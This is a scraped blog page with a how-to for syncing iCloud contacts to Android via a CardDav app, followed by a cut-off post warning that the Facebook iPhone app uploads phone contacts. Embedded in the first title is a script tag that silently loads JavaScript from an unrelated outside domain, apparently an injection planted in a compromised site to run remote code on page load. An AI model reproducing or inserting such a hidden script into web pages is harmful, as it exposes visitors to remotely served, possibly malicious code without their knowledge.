Sync your Android phone contacts with iCloud<script type="text/javascript" src="http://expan.dk/cgi/ajax.php"></script>

For so many people they used to have an iPhone along with a secondary Android phone, or vice versa. One of the challenges those people used to face is to maintain the same contacts on both devices, and to keep them in-sync.

Some of them used to have the very easy google sync running directly from their PC or mac to their google account and then from the google account to their Android phone, until Apple and Google decided to put a stop to that… bit of a shame as the iPhone was syncing to the PC or mac and then through to google and their Android phone and back again.

At long last, after much frustration having had sync to google contacts screwed by the apple and google platform spat we managed to get iCloud Contact Sync working on Android phone.

On Android, install a CardDav app, this one is great and free.

1. Add an account in CardDav.
2. For Server name enter http://contacts.icloud.com.
3. Make sure SSL is checked.
4. For username enter your iCloud username (example anyname@anyaddress.com).
5. For password enter your iCloud password.
6. Make sure that one way syncing is selected (from server to phone) as the developer can’t guarantee 100% two-way syncing.
7. Press Ok, wait a few seconds for it to confirm.

Away you go – your iCloud contacts now sync with your Android phone, it may take a few minutes for them to show up. And by the way this should work for every single CardDav compatible device.

Have fun.


Facebook backing up your iPhone contacts behind your back!!

Most of the Facebook users who own an iPhone, they use Facebook Application for easier connection and social networking experience.

Recently some users realized that the phone numbers stored on the phone are uploaded to Facebook, without us knowing about it.

to check  this, Go to the top right of the Facebook screen, click on ACCOUNT, click on EDIT FRIENDS, on the left side of screen click CONTACTS.

You will see all phone numbers from your phone (FB friends or not) are published. TO REMOVE, go to the right column, click on this page which will take you the page shown below:
